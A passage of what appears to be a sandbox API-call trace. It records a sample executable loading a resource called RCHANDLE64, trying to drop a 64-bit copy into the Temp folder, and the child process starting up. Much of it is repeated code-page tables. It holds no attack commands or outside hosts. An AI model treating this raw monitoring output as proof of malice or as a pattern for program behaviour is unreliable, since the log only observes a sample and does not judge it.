¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x08\x87\x89\x91äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0084.591] GetLastError () returned 0x0 [0084.591] SetLastError (dwErrCode=0x0) [0084.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0084.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0084.592] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0084.592] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0084.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x08\x87\x89\x91äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0084.592] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x80) returned 0x5b8250 [0084.592] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0084.592] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0084.592] RtlSizeHeap (HeapHandle=0x5a0000, Flags=0x0, MemoryPointer=0x5b8250) returned 0x80 [0084.592] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0084.592] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0084.592] GetCurrentProcess () returned 0xffffffff [0084.592] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0084.592] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0084.592] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0084.592] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0084.592] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0084.593] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0084.593] LockResource (hResData=0x43c648) returned 0x43c648 [0084.593] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5b82d8 [0084.593] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0084.593] GetLastError () returned 0x20 [0084.593] GetLastError () returned 0x20 [0084.593] SetLastError (dwErrCode=0x20) [0084.593] GetLastError () returned 0x20 [0084.593] SetLastError (dwErrCode=0x20) [0084.593] GetLastError () returned 0x20 [0084.594] SetLastError (dwErrCode=0x20) [0084.594] GetLastError () returned 0x20 [0084.594] SetLastError (dwErrCode=0x20) [0084.594] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x5b9820 [0084.594] GetLastError () returned 0x20 [0084.594] SetLastError (dwErrCode=0x20) [0084.594] GetLastError () returned 0x20 [0084.594] SetLastError (dwErrCode=0x20) [0084.594] GetLastError () returned 0x20 [0084.594] SetLastError (dwErrCode=0x20) [0084.594] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18e38c | out: lpMode=0x18e38c) returned 1 [0084.594] WriteFile (in: hFile=0x7, lpBuffer=0x18ea68*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e394, lpOverlapped=0x0 | out: lpBuffer=0x18ea68*, lpNumberOfBytesWritten=0x18e394*=0x49, lpOverlapped=0x0) returned 1 [0084.597] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b7820 | out: hHeap=0x5a0000) returned 1 [0084.597] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0084.597] ExitProcess (uExitCode=0x1) [0084.597] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b60c8 | out: hHeap=0x5a0000) returned 1 Process: id = "156" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x73ac000" os_pid = "0xcec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "151" os_parent_pid = "0xcb0" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 710 os_tid = 0xcf0 [0084.157] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xd5f28040, dwHighDateTime=0x1d5d06a)) [0084.157] GetCurrentThreadId () returned 0xcf0 [0084.157] GetCurrentProcessId () returned 0xcec [0084.157] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=22611918196) returned 1 [0084.167] GetProcessHeap () returned 0x190000 [0084.168] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0084.168] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0084.168] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0084.168] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0084.168] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0084.168] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0084.168] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0084.168] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0084.168] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0084.168] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0084.168] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0084.168] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0084.168] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0084.169] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0084.170] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0084.170] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0084.170] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0084.170] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0084.170] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0084.170] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0084.170] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x478) returned 0x1af060 [0084.170] GetCurrentThreadId () returned 0xcf0 [0084.170] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x28) returned 0x1a5ee0 [0084.170] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xb00) returned 0x1af4e0 [0084.171] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x1af060)) [0084.171] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0084.171] GetFileType (hFile=0x3) returned 0x2 [0084.171] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0084.171] GetFileType (hFile=0x7) returned 0x2 [0084.171] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0084.171] GetFileType (hFile=0xb) returned 0x2 [0084.172] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0084.172] GetEnvironmentStringsW () returned 0x1afff0* [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0xb2c) returned 0x1b0b30 [0084.172] FreeEnvironmentStringsW (penv=0x1afff0) returned 1 [0084.172] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0xb8) returned 0x1b1670 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x138) returned 0x1b1730 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3e) returned 0x1a62c0 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x6c) returned 0x1b1870 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x62) returned 0x1b18f0 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x78) returned 0x1b1960 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x62) returned 0x1b19e0 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2e) returned 0x1addd0 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x48) returned 0x1a6310 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1e) returned 0x1a5f10 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x28) returned 0x1a5f40 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1a) returned 0x1a5f70 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x4a) returned 0x1b1a50 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x72) returned 0x1b1ab0 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x30) returned 0x1ade10 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2e) returned 0x1ade50 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1c) returned 0x1a5fa0 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xd2) returned 0x1b1b30 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x7c) returned 0x1b1c10 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3a) returned 0x1a6360 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x90) returned 0x1b1ca0 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x24) returned 0x1a5fd0 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x30) returned 0x1ade90 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x36) returned 0x1aded0 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3c) returned 0x1a63b0 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x52) returned 0x1b1d40 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3c) returned 0x1a6400 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x18) returned 0x1b1da0 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x82) returned 0x1b1dc0 [0084.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2e) returned 0x1adf10 [0084.173] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1e) returned 0x1a6000 [0084.173] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2c) returned 0x1adf50 [0084.173] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x54) returned 0x1b1e50 [0084.173] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x52) returned 0x1b1eb0 [0084.173] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2a) returned 0x1adf90 [0084.173] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3c) returned 0x1a6450 [0084.173] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x54) returned 0x1b1f10 [0084.173] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x24) returned 0x1a6030 [0084.173] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x30) returned 0x1adfd0 [0084.173] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x8c) returned 0x1afff0 [0084.173] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b0b30 | out: hHeap=0x190000) returned 1 [0084.173] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1000) returned 0x1b0090 [0084.173] GetLastError () returned 0x0 [0084.173] SetLastError (dwErrCode=0x0) [0084.173] GetLastError () returned 0x0 [0084.173] SetLastError (dwErrCode=0x0) [0084.173] GetLastError () returned 0x0 [0084.173] SetLastError (dwErrCode=0x0) [0084.173] GetACP () returned 0x4e4 [0084.173] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x228) returned 0x1b10a0 [0084.173] GetLastError () returned 0x0 [0084.173] SetLastError (dwErrCode=0x0) [0084.173] IsValidCodePage (CodePage=0x4e4) returned 1 [0084.174] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0084.174] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0084.174] GetLastError () returned 0x0 [0084.174] SetLastError (dwErrCode=0x0) [0084.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0084.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ阴괛") returned 256 [0084.174] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ阴괛", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0084.174] GetLastError () returned 0x0 [0084.174] SetLastError (dwErrCode=0x0) [0084.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0084.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 